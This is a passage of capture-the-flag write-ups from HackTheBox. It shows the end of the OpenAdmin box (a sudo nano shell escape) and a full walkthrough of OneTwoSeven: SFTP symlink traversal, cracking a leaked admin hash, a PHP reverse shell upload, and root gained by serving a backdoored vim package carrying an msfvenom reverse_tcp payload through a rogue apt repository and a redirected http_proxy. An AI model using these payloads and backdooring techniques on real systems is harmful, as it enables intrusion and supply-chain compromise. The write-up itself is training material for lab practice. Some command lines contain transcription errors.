root@kali:~/Desktop/htb/OpenAdmin# ssh -i id_rsa joanna@10.10.10.171
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 01:15:03 UTC 2020

  System load:  0.21              Processes:             238
  Usage of /:   49.2% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

Since we know we can execute /bin/nano as root, we can easily escape the shell, you can look more into gtfobins here.

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
# id
uid=0(root) gid=0(root) groups=0(root)

And we owned the box!

Thanks for reading!

CTF – HTB – OneTwoSeven

To keep fresh with cybersecurity trends, I like to solve challenges. This box is from the HackTheBox.eu, a website dedicated to train cybersecurity professionnals.

We start with a basic nmap search with -sC for standard scripts and -sV for service version detection.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -sC -o TCP_scan 10.10.10.133
Starting Nmap 7.78 ( https://nmap.org ) at 2019-09-05 11:55 EDT Nmap scan report for 10.10.10.133
Host is up (0.024s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
|  ssh-hostkey: 1 2848 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|  256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http
|_http-title: Page moved.

Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds

The scan reveals port 22 and 80. By visiting the website we get redirected to /index.php.

Webpage

In the signup.php page, we obtain credentials for an sftp server. We put this aside while we continue to explore the website. We note by exploring the source of the /index.php page that the admin link in the main menu is disabled, however the html href parameter is set to http://onetwoseven.htb:60080/. We add onetwoseven.htb to our /etc/hosts so we can access it later if we need. Also, a comment states :

<!-- Only enable link if access from trusted networks admin/20190212 -->
<!-- Added localhost admin/20190214 -->

Continuing our exploration phase, we try to enumerate all files and folders hosted on the web server with dirbuster, however we obtain no results since all our request are getting blocked. A hint on the page tells us that our SYN packets are dropped if the error count for an IP address is high.

[...]
INFO: Retrying request
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception (java.net.ConnectException) caught when processing request: Connection refused (Connection refused)
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
[...]

The credentials for the secure ftp are pre-generated. We also note that by changing our IP address and regenerating the page we obtain new credentials. After we login to the service, we found only the index.html which only renders to an empty page with a brick wall image.

root@kali:—/Desktop/htb/OneTwoSeven# sftp ots-jNjdlMTk@10.10.10.133
The authenticity of host '10.10.10.133 (10.10.10.133)' can't be established.
ECDSA key fingerprint is SHA256:+1UmP2SWWfgjoiyECyN2pRL1BIELdHrx6lt8mCwOoLO.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.133' (ECDSA) to the list of known hosts.
ots-jNjdlMTk@10.10.10.133's password:
Connected to ots-jNjdlMTk@10.10.10.133.
sftp> dir
public_html
sftp> cd ./public_html/
sftp> dir 
index.html
sftp>

Since the server runs php, we try to upload a php reverse shell : put phpshell.php

By navigating to /ots-jNjdlMT/phpshell.php we could’nt get a reverse shell on our listener since it escapes all php commands. Since we can only display static pages on that domain, we have to find another attack vector.

We can use the hint given in the comments above which basicly tells us that only trusted a local connection could connect to 60080 port. A quick scan to obtain information about this port returns nothing interesting.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -p 60080 10.10.10.133
Starting Nmap 7.76 ( https://nmap.org ) at 2019-09-05 13:36 EDT
Nmap scan report for onetwoseven.htb (10.10.10.133)
Host is up (6.621s latency).
PORT STATE SERVICE
60080/tcp filtered unknown
Nmap done: 1 IP address (1 host u.) scanned in 1.61 seconds

A simple solution is to use a local port forward using the sftp credentials. From ssh man page :

Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port hostport from the remote machine.

The -L is for the local port forwarding and -N is simply to not execute commands, we will use this tunnel to get access to the 60080 port :ssh -N -L 60080:127.0.0.1:60080 ots-jNjdlMTk@10.10.10.133

We can then connect to our local machine on port 60080 which is forwarded from the box. We obtain a login page for “administration backend”.

Authentication page

Since we have no login credentials yet, we can enumerate some more on the box. Back to the sftp service, we can create a symlink to a directory outside the default folder and traverse directories. Here we create a symlink with ln -s / link to the / folder and name it “link”. By navigating to http://onetwoseven.htb/~ots-jNjdlMTk/link we can list directories.

Directory listing

The only folders we have access are /var/www/html and /var/www/html-admin, were we find a swap file for the administrator backend page called .login.php.swp. We find the form used in the administrator page as well as the hashed password in sha256. We can easily crack it with john the ripper or hashcat.

[...]
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8')
[...]
root@kali:—/Desktop/htb/OneTwoSeven# john --format=Raw-SHA256 ots-admin-pass --wordlist=fusr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Homesweethomel (?)
lg 0:00:00:03 DONE (2019-09-05 14:45) 8.3225g/s 3593Kp/s 3593Kc/s 3593KC/s IloveBrandiLynn..Galgenwaard
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

After we login we find a module to upload “plugins” as well as links to php files that outputs results from system operations. There are also links to download those scripts. An interesting note from ots-sysupdate.php :

[...]
# echo shell_exec("/usr/bin/sudo apt-get update && /usr/bin/sudo apt-get upgrade");
# 20190214/wde
# Still waiting for outbound proxy clearance for update downloads. Security is a pain!

The “Plugin Upload. Admins Only!” form has its submit button deactivated. We will simply use the inspector to edit the button tags by removing the disabled=”disabled” attribute. When trying to upload the php reverse shell script, the form action points to /addon-upload.php which does not exist. The “OTS Addon Manager” plugin already present on the page gives us a good hint by telling us basicly were we point the form action to upload our plugin.

Administration backend plugins
[...]
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];

if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}

if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
[...]

We then send a POST request with the form parameters to addon-download.php?random-param=/addon-upload.php/ to upload our reverse shell (since we need to have “addon-upload.php” as a string in our request uri). We can then open a listener and access the url where our shell was uploaded (http://127.0.0.1:60080/menu.php?addon=addons/phpshell.php) :

root@kali:—/Desktop/htb/OneTwaSeven# nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.15.64] from onetwoseven.htb [18.18.18.133] 41384
bash: cannot set terminal process group (1589): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin$ ls
ls
addons
carousel.css
dist
login.php
logout.php
menu.php
www-admin-data@onetwoseven:/var/www/html-admin$ whoami
whoami
www-admin-data
www-admin-data@onetwoseven:/var/www/html-admin$

By running sudo -l we obtain the list of commands that could be running as root in our user.

www-admin-data@onetwoseven:/home$ sudo -l
sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
env reset, env keep+="ftp proxy http proxy https proxy no proxy",
mail_badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:

(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

We understand from that if we can backdoor a package and use the http_proxy environment variable to trick our package manager to fetch our backdoored package we can get it to run a shell as root. We can look at the package list using :

apt list --installed

ucf/stable,now 3.8836 all [installed]
udev/stable,now 1:3.2.2+devuan2.11 amd64 [installed]
util-linux/stable,stable-security,now 2.29.2-1+devuan2.1 amd64 [installed]
util-linux-locales/stable,now 2.29.2-1+devuan2.1 all [installed,automatic]
vim/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-common/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-runtime/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-tiny/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
wamerican/stable,now 7.1-1 all [installed]
wget/stable,now 1.18-5+deb9u2 amd64 [installed,upgradable to: 1.18-5+deb9u3]
whiptail/stable,now 8.52.19-1+bl amd64 [installed]
whois/stable,now 5.2.17—deb9ul amd64 [installed,automatic]
xauth/stable,now 1:1.8.9-1+b2 amd64 [installed,automatic]
xdg-user-dirs/stable,now 8.15-2+bl amd64 [installed,automatic]
xkb-data/stable,now 2.19-1+deb9ul all [installed,automatic]
xml-core/stable,now 8.17 all [installed,automatic]

We choose to backdoor vim, the text editor. We can directly download it from the debian repository and depackage it. We prepare a folder and the metada needed in our backdoored package.

root@kali:-/Desktoo/htb/OneTwoSeven/tmo/evil# ls -la
total 1320
drwxr-xr-x 2 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# dpkg -x vim 8.1.0875-5 1386.deb work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# mkdir work/DEBIAN
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la
total 1324
drwxr-xr-x 3 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
drwxr-xr-x 4 root root 4096 Sep 6 09:51 work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la ./work/
total 16
drwxr-xr-x 4 root root 4096 Sep 6 09:51 .
drwxr-xr-x 3 root root 4096 Sep 6 09:50 ..
drwxr-xr-x 2 root root 4096 Sep 6 09:51 DEBIAN
drwxr-xr-x 4 root root 4096 Jun 15 12:41 usr
root@kali:-/Desktop/htb/OneTwoSevennmp/evil#
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work/DEBIAN# nano control
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil/work/DEBIAN# cat control
Package: vim
Version: 2.81
Section: Text editor
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text editor
fopwergkwpogkwrfvelrfery
grvhtrhrtvhtrvhtrhrthrtvhtrhtr
bvrthtrvhtrvhrt
hybytrbyrtbnrthvhvth
trvhrbvtbhtyvhtyvhjthy

We also create a post-installation script that will simply make the application executable and start it. Note that it is important also to make that script executable before packaging it.

#!/bin/sh
sudo chmod 2755 /usr/bin/vim && /usr/bin/vim

We create our payload that is staged meterpreter shell. That is when we get back our connections, the executed malicious code will download additionnal modules to get a full shell. We then package all these files in deb file and put it in our /var/www/ folder to finally start apache and get our server ready. We then open metasploit to use multi/handler that will get us our shell.

root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=18.18.14.154 LPORT=9999 -b u\x88N -f elf -o ./usr /bin/vim
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 158 (iteration=8)
x86/shikata_ga_nai chosen with final size 158
Payload size: 158 bytes
Final size of elf file: 234 bytes
Saved as: ./usr/bin/vim
dpkg-deb --build ./evil
mv evil.deb vim.deb
mv vim.deb /var/www/vim.deb
service apache2 start
msf5 > use exploit/multi/handler
msf5 exploit(mutti/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.154
LHOST => 18.18.14.154
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.154:9999

Now that we are ready to receive a connection, we need to get that package fetched by our victim. We will use reprepro to run a repository manager in our own server then configure it.

apt-get install reprepro
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/conf
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/incoming
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# nano ./apt/conf/distributions
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# cat ./apt/conf/distributions
Origin: Fake name
Label: Fake label
Suite: stable
Codename: bobo
Version: 3.9
Architectures: i386 all source
Components: main non-free contrib
Description: Your fake description
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil#
root@kali:—/Desktop/htb/OneTwaSeven/tmp/evili # reprepro -Vb . includedeb bobo ../vim.deb
Created directory "./db"
../vim.deb: component guessed as 'main'
Created directory "./pool"
Created directory "./pool/main"
Created directory "./pool/main/v"
Created directory "./pool/main/v/vim"
Exporting indices...
Created directory "./dists"
Created directory "./dists/bobo"
Created directory "./dists/bobo/main"
Created directory "./dists/bobo/main/binary-amd64"
Created directory "./dists/bobo/non-free"
Created directory "./dists/bobo/non-free/binary-amd64"
Created directory "./dists/bobo/contrib"
Created directory "./dists/bobo/contrib/binary-amd64u"

Our package is now in our own repository. In order to fetch it, we should remember the hint given initially, we simply set the environment variable http_proxy to our own address.

www-admin-data@onetwoseven:/var/www/html-admin$ export http_proxy=http://10.10.14.154:80/

After trying to fetch the packages, we see that the domains packages.onetwoseven.htb does not exist. Since we have a proxy pointing to our own machine, we can route the connection with /etc/hosts by editing the first line.

127.0.0.1 packages.onetwoseven.htb localhost

After updating and upgrading the packages on our victim machine, we get root!

To summarize, we first started with a local port forward to the victim using the sftp credentials, since sftp uses an ssh tunnel to transfer files. Then we traverse directories in the sftp with a symlink and find credentials for the backend of the website. We exploit the website with a simple php command injection to get our initial foothold into the machine. To own the root user, we host our own repository with reprepro and upload a backdoored vim package. After the victim upgrade its packages using root privileges, it gets to execute our script and we get our root shell.

Thanks for reading!